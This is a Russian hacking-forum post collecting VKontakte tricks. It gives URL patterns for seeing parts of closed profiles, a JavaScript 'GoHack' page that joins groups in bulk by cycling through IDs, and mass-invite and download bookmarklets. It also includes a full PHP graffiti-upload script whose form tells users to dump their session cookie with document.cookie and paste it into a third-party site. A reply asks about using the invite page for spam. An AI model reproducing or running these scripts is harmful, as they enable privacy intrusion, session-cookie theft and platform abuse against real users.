• XSS.stack #1 – первый литературный журнал от юзеров форума

Вконтакте | Tips and Tricks

Isis

RAID-массив
Пользователь
Регистрация
09.11.2006
Сообщения
97
Реакции
0
Вконтакте | Tips and Tricks​
vkontakte.jpg

Сайт: http://www.vkontakte.ru
Разработчик: Павел Дуров

[Intro]
В этой как бы статье я решил собрать всю инфу которая известна о сервисах Вконтакте(vkontakte.ru).



[View Closed Profiles]
Информация стара, но всеже в этой статье должно быть все что еще работает...

Просмотреть некоторую информацию закрытого профиля не сложно...
Для начала надо узнать ID человека...
Наведите указатель мыши на кнопку "Друзья XXX", в строке состояния вы увидите примерно такой текст
http://vkontakt.ru/friend.php?act=add&id=111222, где последние цифры и есть ID.
Далее вставляем этот ID в следующие строки:

Фотографии:
http://vkontakte.ru/photos.php?act=user&id=ID
Фотоальбомы:
http://vkontakte.ru/photos.php?id=ID
Видеозаписи:
http://vkontakte.ru/video.php?id=ID
Заметки:
http://vkontakte.ru/notes.php?id=ID

В некоторых местах можно оставлять комментарии


[Entered to All groups for your profile]
Код:
<form id="param">
<table width="500" height="101" border="0">
<tr>
<td width="112">with</td>
<td width="378"><input name="minZn" type="text" value="1"></td>
</tr>
<tr>
<td>to</td>
<td><input name="maxZn" type="text" value="999999"></td>
</tr>
<tr>
<td>adress</td>
<td><input name="adress" type="text" value="http://vkontakte.ru/groups.php?act=enter&gid=" size="50"></td>
</tr>
<tr>
<td> </td>
<td><input name="button" type="button" onClick="GoHack()" value="Vkontakte must die!!(Go hack)">
<input name="button2" type="button" onClick="StopHack()" value="STOP"></td>
</tr>
</table>
</form>
<script language="javascript">
function StopHack()
{
hackwindow.close();
}

function HackWindowNewlocation(start, end, current)
{
var time=4000;
var domen=document.getElementById("param").adress.value;
var url="";
start2=start;
current2=current;
end2=end;
if(current2==start2){hackwindow=window.open("http://google.ru","hack");}
if ((current2-1)==end2) {return;}
current2++;
url=domen+current.toString();
window.hackwindow.location=url.toString();
setTimeout("HackWindowNewlocation(start2, end2, current2)",time);
}

function GoHack()
{
var start=document.getElementById("param").minZn.value; 
var end=document.getElementById("param").maxZn.value; 
var current=start;
HackWindowNewlocation(start,end,current);
}
</script>

Результат: http://vkontakte.ru/id159132 =)))



[Massive invitation to the group]
В строку браузера введите:
Код:
javascript:function addall(){var butt_all='<b onclick=\'';
var chtulhu=document.getElementsByTagName("input");
for(var azatoth=0;azatoth<chtulhu.length;azatoth++)
{
if (chtulhu[azatoth].type=="checkbox")
{
      butt_all+='addToInvite('+chtulhu[azatoth].name+');';
}
}
butt_all+='\'>CLICK ME!!!!!</b> ';
j=0;
var div_s=document.getElementsByTagName("div");
for(var i=0;i<div_s.length;i++){
if (div_s[i].className=="pad"){ j++; if(j==2){ div_s[i].innerHTML=butt_all+div_s[i].innerHTML; }}} }
addall();
//© Борис Захаров



[Download Music to your PC]
Код:
javascript:function operate(konfuze,loves,you,all_,xP){you=you.toString(10);while(you.length<5){you='0'+you;}document.getElementById('audio'+konfuze).innerHTML='<div><a href="http://cs'+loves+'.vkontakte.'+'ru/u'+you+'/audio/'+all_+'.mp3">Cкачать '+document.getElementById('performer'+konfuze).innerHTML+' - '+document.getElementById('title'+konfuze).innerHTML+'</a></div>
';}



[Download Video to your PC]

Для FireFox :
http://www.mgupp.ru/2729/files?get=unplugvkontakte.xpi
http://www.mgupp.ru/2729/files?get=vk.xpi

Для Opera:
http://www.mgupp.ru/2729/files?get=vk2u.js



[The substitution of foreign pictures on graffiti]
http://www.x3k.ru/vkontakte/

Source:
http://x3k.ru/vkontakte/index.phps

Код:
<?
function send_png($url,$filename,$cookie) {
        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "POST ".@$url_info['path']."?".@$url_info['query']." HTTP/1.1\r\n";
            if (!empty($url_info['port'])) {
                $head .= "Host: ".@$url_info['host'].":".$url_info['port']."\r\n";
            } else {
                $head .= "Host: ".@$url_info['host']."\r\n";
            }
            $head .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive\r\n";
            $head .= "Cookie: $cookie\r\n";
            $head .= "Referer: http://vkontakte.ru/swf/Graffiti.swf?12\r\n";
            $head .= "Content-type: multipart/form-data; boundary=--OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST\r\n";




            $head2 ="----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST
Content-Disposition: form-data; name=\"Signature\"\r\n\r\n";
            $head2 .=md5(substr(base64_encode(file_get_contents($filename)), 0, 1024));
            $head2 .="\r\n";
            $head2 .= "----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST
Content-Disposition: form-data; name=\"Filedata\"; filename=\"graffiti.png\"
Content-Type: image/png\r\n\r\n";
            $head2 .= file_get_contents($filename);
            $head2 .= "----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST
Content-Disposition: form-data; name=\"Upload\"

Submit Query
----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST--";
            $head .= "Content-length: ".strlen($head2)."\r\n";
            $head .= "\r\n";
            $head .= $head2;

            fputs($fp, $head);
            while(!feof($fp) or ($eoheader==true)) {
                if($header=fgets($fp, 1024)) {
                    if ($header == "\r\n") {
                        $eoheader = true;
                        break;
                    } else {
                        $header = trim($header);
                    }
$format=0;
                    if($format == 1) {
                    $key = array_shift(explode(':',$header));
                        if($key == $header) {
                            $headers[] = $header;
                        } else {
                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                    unset($key);
                    } else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;

        } else {
            return false;
        }
    }
if(isset($_POST['to_id'],$_POST['group_id'],$_POST['cook'],$_FILES["Filedata"])){
	if($_POST['to_id']==""){
  $_POST['to_id']='0';
	}
	if($_POST['group_id']==""){
  $_POST['group_id']='0';
	}
	copy($_FILES['Filedata']['tmp_name'], "tmpfile_");
	send_png("http://vkontakte.ru/graffiti.php?to_id={$_POST['to_id']}&group_id={$_POST['group_id']}","tmpfile_",$_POST['cook']);
	header("Location: http://vkontakte.ru/graffiti.php?act=last");

}else{
	?>
<html>
<head>


<title>Подмена граффити на картинку vkontakte.ru</title>

<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<style>
body
{
	margin: 0;
	padding: 0;
}

#form
{
	background: url( 'http://vkontakte.ru/images/xhead2.gif' ) no-repeat left top;
	text-align: left;
	width: 400px;
	padding: 50px;
	padding-bottom: 10px;
	font-family: Verdana;
	font-size: 12px;
	border: 1px solid #ebebeb;
}

#counter
{
	font-family: Arial;
	font-size: 12px;
}

#bandwidth
{
	font-family: Arial;
	font-size: 11px;
	/*display: none;*/
}

</style>
</head>



<center>
<div id="form">




<form action="<?=basename($_SERVER['SCRIPT_FILENAME'])?>" name="form" enctype="multipart/form-data" method=POST >


Укажи ID стены и .png/.jpg картинку, которую ты хочешь закачать:




ID человека:
<input type="text" name="to_id" size="10" /> <b><u>или</u></b>

ID группы:
<input type="text" name="group_id" size="10" />




<b style="color: red">Теперь картинки автоматом растягиваются до размера 272х136 пикселей: <a href="http://mypictr.com/?size=272x136">сервис уменьшения картинок</a></b>





Файл<small>*</small>:
<input type="file" name="Filedata">





<small>* - максимум <b>300Кб</b></small>






<b style="color: red">ВНИМАНИЕ!!! Следующий ШАГ обязателен! </b>






Заходим на страницу Контакта, в строке браузера вводим: <b><i>javascript:document.write(document.cookie);</i></b>



Скопируйте сюда, что получили<small>**</small>:

Эта информация нигде не записывается + в куках прячется IP зафированный


<textarea cols=47 rows=10 name="cook"></textarea>



<small>** - это конфиденциальная информация. Вы не должны показывать её третьим лицам.</small>




<input type="submit" name="Upload" value="    Далее    ">
</form>



<p style="text-align: center;">



<b>Powered by:</b>

<a href="http://vkontakte.ru/id15070">Олег Максимов</a>
</p>
</div>
	<?php
}
echo "<pre>";
//print_r(send_png("http://vkontakte.ru/graffiti.php?to_id=[ИД_Человека или 0 если отправляем на стену группы]&group_id=[ИД_Группы или 0 если отправляем на стену человека]","имя картинки.png","ваши куки вытянутые из броузера"));
echo "</pre>";
?>



Зы: Информации еще много, завтра продолжу

Зы: Дуров покупает серьезные баги вконтакте за несколько сотен $ (Доступ к MySQL and etc..)

Зы: Давайте сокращать сайт/сервис/слово "Вконтакте" как "вк" =\

Зы: Права на скрипты и т.п. принадлежат не мне...
Я лишь писал статью и собирал эти скрипты


Здесб собрано уйма скриптов на некоторых есть копирайты некоторые анонимные неищзвестные... Статью писал я и собирал всю эту хрень :)
 
вот попал на такую страничку)))
http://vkontakte.ru/invite.php
как думаете, реально ли ее использовать для спама?) там еще и сообщение можно приклеить) приходит вроде как приглашение, но со спамом)
если я чето не правильно говорю, сильно не пинайте)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх